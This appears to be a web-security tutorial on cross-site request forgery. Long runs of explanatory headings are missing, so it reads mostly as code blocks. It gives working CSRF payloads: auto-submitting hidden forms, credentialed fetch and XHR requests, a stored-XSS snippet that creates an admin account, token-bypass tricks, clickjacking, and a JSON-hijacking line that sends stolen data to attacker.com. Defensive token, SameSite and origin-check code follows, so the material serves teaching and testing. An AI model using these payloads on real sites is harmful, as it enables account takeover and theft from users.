Complete Guide to Understanding, Exploiting, and Preventing CSRF Attacks
Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application. It exploits the trust that a web application has in the user's browser by tricking the victim into submitting a malicious request while authenticated.
CSRF attacks are particularly dangerous because:
Successful CSRF attacks allow attackers to:
<!-- Vulnerable application endpoint -->
http://bank.com/transfer?to=attacker&amount=1000
<!-- Attacker's malicious page -->
<html>
<body>
<h1>You won a prize!</h1>
<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
</body>
</html>
<!-- Auto-submitting form -->
<html>
<body onload="document.forms[0].submit()">
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker"/>
<input type="hidden" name="amount" value="1000"/>
</form>
</body>
</html>
CSRF exploits the fact that:
Exploits applications that perform state-changing operations via GET requests.
<!-- Image tag attack -->
<img src="http://vulnerable.com/delete_account?confirm=yes">
<!-- iframe attack -->
<iframe src="http://vulnerable.com/change_email?email=attacker@evil.com"></iframe>
<!-- Link attack -->
<a href="http://vulnerable.com/transfer?to=attacker&amount=999">Click for prize!</a>
More common and typically more serious, as POST is used for sensitive operations.
<html>
<body>
<form id="csrf-form" action="https://vulnerable.com/api/transfer" method="POST">
<input type="hidden" name="recipient" value="attacker"/>
<input type="hidden" name="amount" value="5000"/>
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Targets applications using JSON APIs without proper CSRF protection.
<script>
fetch('https://vulnerable.com/api/update_profile', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'admin'
})
});
</script>
Tricks users into uploading malicious files.
<form action="https://vulnerable.com/upload" method="POST" enctype="multipart/form-data">
<input type="hidden" name="file" value="malicious_content"/>
<input type="hidden" name="filename" value="backdoor.php"/>
</form>
Exploits vulnerabilities within the same site, such as through stored XSS or subdomain takeovers.
<!-- Delay attack until user is likely authenticated -->
<script>
setTimeout(() => {
document.getElementById('csrf-form').submit();
}, 30000); // Wait 30 seconds
</script>
// Stored XSS payload that performs CSRF
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/create_user', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send('username=hacker&password=pass123&role=admin');
</script>
// Step 1: Get current CSRF token
fetch('/get_token')
.then(r => r.json())
.then(data => {
// Step 2: Use token in attack
fetch('/admin/promote', {
method: 'POST',
headers: {'X-CSRF-Token': data.token},
body: 'user=attacker'
});
});
Force victim to log into attacker's account.
<form action="https://vulnerable.com/login" method="POST">
<input type="hidden" name="username" value="attacker_account"/>
<input type="hidden" name="password" value="attacker_password"/>
</form>
<script>document.forms[0].submit();</script>
<!-- Force user to use attacker-controlled token -->
<iframe src="https://vulnerable.com/get_csrf_token"></iframe>
<script>
// Extract and reuse the token
</script>
<!-- Overlay transparent iframe over fake button -->
<style>
iframe { opacity: 0.0001; position: absolute; top: 0; left: 0; }
</style>
<button>Click for free prize!</button>
<iframe src="https://vulnerable.com/delete_account"></iframe>
<!-- Simply omit the CSRF token -->
<form action="/transfer" method="POST">
<input type="hidden" name="amount" value="1000"/>
<!-- No csrf_token field -->
</form>
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value=""/>
<input type="hidden" name="amount" value="1000"/>
</form>
<!-- Change POST to GET to bypass token check -->
<img src="/transfer?csrf_token=&amount=1000">
<!-- Or use _method parameter -->
<form action="/transfer?_method=POST" method="GET">
<input name="amount" value="1000"/>
</form>
// If SameSite=Lax, top-level navigation works
window.location = 'https://vulnerable.com/transfer?to=attacker&amount=1000';
// Or use 302 redirect
<meta http-equiv="refresh" content="0;url=https://vulnerable.com/action">
If an abandoned subdomain can be taken over, CSRF protection may not apply.
<!-- From attacker-controlled subdomain.example.com -->
<form action="https://example.com/transfer" method="POST">
<!-- May bypass SameSite and Referer checks -->
</form>
<!-- If referer check uses weak regex -->
<!-- Expecting: https://vulnerable.com/* -->
<!-- Bypass with: https://vulnerable.com.attacker.com -->
<script>
Object.prototype.__defineSetter__('data', function(val) {
// Steal JSON response
fetch('https://attacker.com/steal?data=' + JSON.stringify(val));
});
</script>
<script src="https://vulnerable.com/api/sensitive_data"></script>
// PHP Example
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// In form
?>
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token"
value="<?php echo $_SESSION['csrf_token']; ?>">
<!-- Other fields -->
</form>
<?php
// Validation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF token validation failed');
}
// Process request
}
// Set SameSite attribute on session cookies
setcookie('session_id', $session_id, [
'samesite' => 'Strict', // or 'Lax'
'secure' => true,
'httponly' => true
]);
// JavaScript
const csrfToken = generateRandomToken();
document.cookie = `csrf_token=${csrfToken}; SameSite=Strict`;
fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
body: formData
});
// Frontend
fetch('/api/action', {
method: 'POST',
headers: {
'X-Requested-With': 'XMLHttpRequest',
'X-Custom-Header': 'application-specific-value'
}
});
// Backend - validate custom header exists
if (!request.headers['X-Requested-With']) {
return 403;
}
# Python/Flask example
from urllib.parse import urlparse
@app.before_request
def check_referer():
if request.method in ['POST', 'PUT', 'DELETE']:
referer = request.headers.get('Referer')
origin = request.headers.get('Origin')
allowed_origins = ['https://example.com']
if referer:
referer_origin = urlparse(referer).netloc
if referer_origin not in allowed_origins:
abort(403)
elif origin:
if origin not in allowed_origins:
abort(403)
else:
abort(403)
// Require CAPTCHA or re-authentication for sensitive actions
if (isSensitiveAction && !verifyCaptcha()) {
return error('Please complete CAPTCHA');
}
// Or require password re-entry
if (isHighRiskAction && !verifyPassword()) {
return error('Please re-enter your password');
}
<!-- Test 1: No CSRF token -->
<form action="https://target.com/action" method="POST">
<input name="field" value="test"/>
</form>
<!-- Test 2: Empty CSRF token -->
<form action="https://target.com/action" method="POST">
<input name="csrf_token" value=""/>
<input name="field" value="test"/>
</form>
<!-- Test 3: Invalid CSRF token -->
<form action="https://target.com/action" method="POST">
<input name="csrf_token" value="invalid123"/>
<input name="field" value="test"/>
</form>
<!-- Test 4: Change method -->
<img src="https://target.com/action?field=test">
<!-- Test 5: Swap token values -->
<form action="https://target.com/action" method="POST">
<input name="csrf_token" value="another_users_token"/>
<input name="field" value="test"/>
</form>
CSRF vulnerability allowed attackers to transfer money from victim accounts by tricking them into visiting a malicious webpage.
CSRF flaw enabled attackers to perform nearly any action on behalf of authenticated users, including adding videos to playlists and subscribing to channels.
CSRF vulnerability allowed attackers to add DVDs to victim's rental queue and change account settings.
CSRF vulnerability in Gmail's chat feature could have been exploited to send messages and add contacts.
The "Don't Click" worm exploited CSRF to automatically post tweets and follow the attacker's account.
Many home routers suffered from CSRF vulnerabilities allowing attackers to change DNS settings, Wi-Fi passwords, and administrative credentials through malicious websites.
<!-- Image tag (GET) -->
<img src="http://target.com/action?param=value">
<!-- Auto-submit form (POST) -->
<body onload="document.forms[0].submit()">
<form action="http://target.com/action" method="POST">
<input type="hidden" name="param" value="value"/>
</form>
<!-- Fetch API -->
<script>
fetch('http://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({param: 'value'})
});
</script>
<!-- XMLHttpRequest -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.com/action');
xhr.withCredentials = true;
xhr.send('param=value');
</script>
# Using curl to test CSRF
curl -X POST https://target.com/action \
-H "Cookie: session=victim_session" \
-d "param=value"
# Without CSRF token should fail if protected
curl -X POST https://target.com/action \
-H "Cookie: session=victim_session" \
-d "param=value" \
-d "csrf_token="
# Django - CSRF middleware enabled by default
# Template
{% csrf_token %}
# Flask with Flask-WTF
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
# Express.js with csurf
const csurf = require('csurf');
app.use(csurf({ cookie: true }));
# Laravel - CSRF protection automatic
<form method="POST">
@csrf
</form>